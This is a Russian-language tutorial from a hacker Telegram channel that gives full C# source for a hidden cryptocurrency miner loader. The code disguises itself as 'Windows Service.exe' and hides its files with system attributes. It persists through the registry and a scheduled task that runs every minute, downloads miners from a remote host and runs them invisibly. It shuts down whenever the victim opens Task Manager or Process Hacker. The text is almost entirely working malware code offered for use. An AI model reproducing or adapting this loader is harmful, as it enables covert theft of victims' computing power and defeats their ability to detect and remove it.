January 26, 2019

Пишем скрытый майнер-лоадер на C# [BlackCoding]

https://t.me/darkside_team

Привет хацкеры, сегодня будем писать свой майнер-лоадер на шарпе.

Комментарии к коду будут выглядеть так - //комментарий

Приступим!

Создаем проект -> C# -> Консольное приложение (.NET Framework) -> Платформа ".NET Framework 4"

В класс главной программы прописываем следующие строки

Код (C#):

static string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке где будет храниться майнер
static string file = "Windows Service.exe"; // Имя файла майнера

Создаем следующий void, он будет проверять на наличие майнера в папке и копировать его туда в случае отсутствия, так же ставить атрибуты Hidden / System

Код (C#):

static void CopyFile()
{
  try
  {
    if (!Directory.Exists(dir)) // Проверка на наличие папки
      Directory.CreateDirectory(dir); // Если не существует, то создаем
 
    if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла майнера в папке
      File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся
 
    File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
    File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
  }
  catch { }
}

Теперь организуем автозапуск.

Как я считаю делать автозапуск через "Автозагрузку" сейчас чуток палевно, так как это легко отключить в диспетчере.

Но вдруг кому то нужно будет, то вот:

Код (C#):

using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
 key.SetValue("Windows Service", dir + "\\" + file);

Но я буду делать через "Планировщик задач", на запуск каждую минуту (если процесс запущен, то он не будет запускать повторно)

Код (C#):

static void CreateTask()
 {
   try
   {
     var startInfo = new ProcessStartInfo(); // Создаем процесс
     startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
     startInfo.CreateNoWindow = false; // Скрываем от пользователя
     startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
     startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
     Process.Start(startInfo); // Запускаем
   }
   catch { }
 }

Теперь на всякий случай сделаем проверку на повторный запуск

Код (C#):

 static Mutex InstanceCheckMutex;
 static bool InstanceCheck()
 {
   bool isNew;
   InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew);
   return isNew;
 }

Теперь перейдем к самим майнерам

Сначала реализуем скачивание нужных майнеров под пк

Подключим System.Management

Теперь вставляем данный код, чуток расписал, думаю поймете.

Нужно скачать майнеры для CPU (x32/x64) и GPU (nvidia/amd) и залить их на хост (только .exe файлы (сами майнеры)) -- LINK

static void Download()
{
  string host = @"http://yoursite.com/"; // Ссылка на сайт с майнерами
 
  if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
  {
    try
    {
      using (var client = new WebClient())
      {
        if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы
          client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
        else
          client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
      }
      File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
    }
    catch { }
  }
 
  if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
  {
    string gpuname = GpuName(); // Получаем имя видеокарты 
    try
    {
      using (var client = new WebClient())
      {
        if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
          client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
        if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
          client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
      }
      File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
    }
    catch { }
  }
}
static string GpuName()
{
  try
  {
    string gpuName = string.Empty;
    string query = "SELECT * FROM Win32_DisplayConfiguration";
    using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
    { foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
    return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
  }
  catch { return "Unknown"; }
}

Создаем 2 процесса (один для CPU второй для GPU) и данные для майнера

Код (C#):

static string pool = "stratum+tcp://xmr.pool.minergate.com:45700"; // Пул для майнинга
 static string mail = "[email protected]"; // Почта от реги на minergate
 static Process proc;
 static Process vid;

Теперь делаем строки которые отвечают за запуск и закрытие майнера

static void Start() // Запускаем майнеры
{
  try
  {
    proc = Process.Start(new ProcessStartInfo()
    {
      FileName = dir + "\\" + "Windows Helper.exe",
      CreateNoWindow = true,
      UseShellExecute = false,
      RedirectStandardOutput = true,
      WindowStyle = ProcessWindowStyle.Hidden,
      Arguments = quot;-o {pool} -u {mail} --max-cpu-usage=95 --log-file=null -p x --donate-level=1 --algo=cryptonight"
    });
  }
  catch { }
  try
  {
    vid = Process.Start(new ProcessStartInfo()
    {
      FileName = dir + "\\" + "Windows Support.exe",
      CreateNoWindow = true,
      UseShellExecute = false,
      RedirectStandardOutput = true,
      WindowStyle = ProcessWindowStyle.Hidden,
      Arguments = quot;-o {pool} -u {mail} -p x --donate-level=1 --log-file=null"
    });
  }
  catch { }
}
static void Stop() // Закрываем процессы майнеров
{
  try { proc.Kill(); } catch { }
  try { vid.Kill(); } catch { }
}

Теперь делаем скрытие от диспетчеров задач, будем смотреть как и по имени процесс, и по заголовку окна, поэтому пишем

Код (C#):

[DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
 public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

Будем проверять на ProcessHacker и Диспетчер задач (другие можете добавить сами)

Код (C#):

static void LookForTaskMngr()
 {
   while (true)
   {
     Process[] procs = Process.GetProcesses(); foreach (Process p in procs)
     {
       if ((Process.GetProcessesByName("taskmgr").Length > 0 || Process.GetProcessesByName("Taskmgr").Length > 0 || Process.GetProcessesByName("ProcessHacker").Length > 0) || Environment.HasShutdownStarted || FindWindow("", "Task Manager") != IntPtr.Zero || FindWindow("", "Диспетчер задач") != IntPtr.Zero)
       {
         Stop(); // Закрываем майнеры
         Environment.Exit(0); // Закрываемся
       }
     }
     Thread.Sleep(1000); // Как часто проверяем на диспетчеры (1 сек)
   }
 }

Ну и все, теперь нужно все это зайдествовать

В void Main вписываем

Код (C#):

CopyFile();
 CreateTask();
 if (!InstanceCheck())
   Environment.Exit(0);
 Download();
 Start();
 LookForTaskMngr();

Теперь нужно скрыть наше окно майнера

Сверху нажимаем 'Проект' -> 'Свойства : "Имя проекта"'

Вписываем данные, компилируем, запускаем билд

Создалась задача для автозапуска

Появились файлы

Пошел майнинг

Открываем диспетчер задач, и майнинг прекращается

На этом всё!)

Dark $ide - Твоя Тёмная Сторона

Если хочешь предложить свой контент пиши в бота: @ds_offer_robot